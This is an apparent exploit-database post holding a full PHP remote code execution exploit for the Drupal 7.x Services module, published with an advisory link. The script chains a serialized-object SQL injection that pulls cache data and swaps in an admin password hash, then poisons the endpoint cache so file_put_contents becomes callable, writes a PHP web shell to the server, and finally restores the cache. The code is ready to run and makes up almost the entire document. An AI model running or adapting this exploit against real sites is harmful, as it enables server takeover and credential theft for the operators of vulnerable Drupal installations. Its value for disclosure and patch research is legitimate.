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Drupal 7.x Module Services Remote Code Execution

Posted on 09 March 2017

# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/drupal-services-module-rce

#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current
endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
#

# Initialization

error_reporting(E_ALL);

define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');

$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';

$file = [
'filename' => 'dixuSOspsOUU.php',
'data' => '<?php eval(file_get_contents('php://input')); ?>'
];

$browser = new Browser($url . $endpoint_path);

# Stage 1: SQL Injection

class DatabaseCondition
{
protected $conditions = [
"#conjunction" => "AND"
];
protected $arguments = [];
protected $changed = false;
protected $queryPlaceholderIdentifier = null;
public $stringVersion = null;

public function __construct($stringVersion=null)
{
$this->stringVersion = $stringVersion;

if(!isset($stringVersion))
{
$this->changed = true;
$this->stringVersion = null;
}
}
}

class SelectQueryExtender {
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is controlled by
us.
protected $query = null;

protected $uniqueIdentifier = QID;
protected $connection;
protected $placeholder = 0;

public function __construct($sql)
{
$this->query = new DatabaseCondition($sql);
}
}

$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';

# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query =
"0x3a) UNION SELECT ux.uid AS uid, " .
"ux.name AS name, '$password_hash' AS pass, " .
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
"ux.pass AS signature_format, ux.created AS created, " .
"ux.access AS access, ux.login AS login, ux.status AS status, " .
"ux.timezone AS timezone, ux.language AS language, ux.picture " .
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
"WHERE ux.uid<>(0"
;

$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);

$json = $browser->post(TYPE_PHP, $data);

# If this worked, the rest will as well
if(!isset($json->user))
{
print_r($json);
e("Failed to login with fake password");
}

# Store session and user data

$session = [
'session_name' => $json->session_name,
'session_id' => $json->sessid,
'token' => $json->token
];
store('session', $session);

$user = $json->user;

# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);

# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);

store('user', $user);

if($cache === false)
{
e("Unable to obtains endpoint's cache value");
}

x("Cache contains " . sizeof($cache) . " entries");

# Stage 2: Change endpoint's behaviour to write a shell

class DrupalCacheArray
{
# Cache ID
protected $cid = "services:endpoint_name:resources";
# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
protected $bin = 'cache';
protected $keysToPersist = [];
protected $storage = [];

function __construct($storage, $endpoint, $controller, $action) {
$settings = [
'services' => ['resource_api_version' => '1.0']
];
$this->cid = "services:$endpoint:resources";

# If no endpoint is given, just reset the original values
if(isset($controller))
{
$storage[$controller]['actions'][$action] = [
'help' => 'Writes data to a file',
# Callback function
'callback' => 'file_put_contents',
# This one does not accept "true" as Drupal does,
# so we just go for a tautology
'access callback' => 'is_string',
'access arguments' => ['a string'],
# Arguments given through POST
'args' => [
0 => [
'name' => 'filename',
'type' => 'string',
'description' => 'Path to the file',
'source' => ['data' => 'filename'],
'optional' => false,
],
1 => [
'name' => 'data',
'type' => 'string',
'description' => 'The data to write',
'source' => ['data' => 'data'],
'optional' => false,
],
],
'file' => [
'type' => 'inc',
'module' => 'services',
'name' => 'resources/user_resource',
],
'endpoint' => $settings
];
$storage[$controller]['endpoint']['actions'] += [
$action => [
'enabled' => 1,
'settings' => $settings
]
];
}

$this->storage = $storage;
$this->keysToPersist = array_fill_keys(array_keys($storage), true);
}
}

class ThemeRegistry Extends DrupalCacheArray {
protected $persistable;
protected $completeRegistry;
}

cache_poison($endpoint, $cache);

# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));

# Stage 3: Restore endpoint's behaviour

cache_reset($endpoint, $cache);

if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
e("Failed to write file.");
}

$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");

# HTTP Browser

class Browser
{
private $url;
private $controller = CONTROLLER;
private $action = ACTION;

function __construct($url)
{
$this->url = $url;
}

function post($type, $data)
{
$headers = [
"Accept: " . TYPE_JSON,
"Content-Type: $type",
"Content-Length: " . strlen($data)
];
$url = $this->url . '/' . $this->controller . '/' . $this->action;

$s = curl_init();
curl_setopt($s, CURLOPT_URL, $url);
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
curl_setopt($s, CURLOPT_POST, 1);
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($s);
$error = curl_error($s);
curl_close($s);

if($error)
{
e("cURL: $error");
}

return json_decode($output);
}
}

# Cache

function cache_poison($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
cache_edit($tr);
}

function cache_reset($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, null, null);
cache_edit($tr);
}

function cache_edit($tr)
{
global $browser;
$data = serialize([$tr]);
$json = $browser->post(TYPE_PHP, $data);
}

# Utils

function x($message)
{
print("$message
");
}

function e($message)
{
x($message);
exit(1);
}

function store($name, $data)
{
$filename = "$name.json";
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
x("Stored $name information in $filename");
}

 

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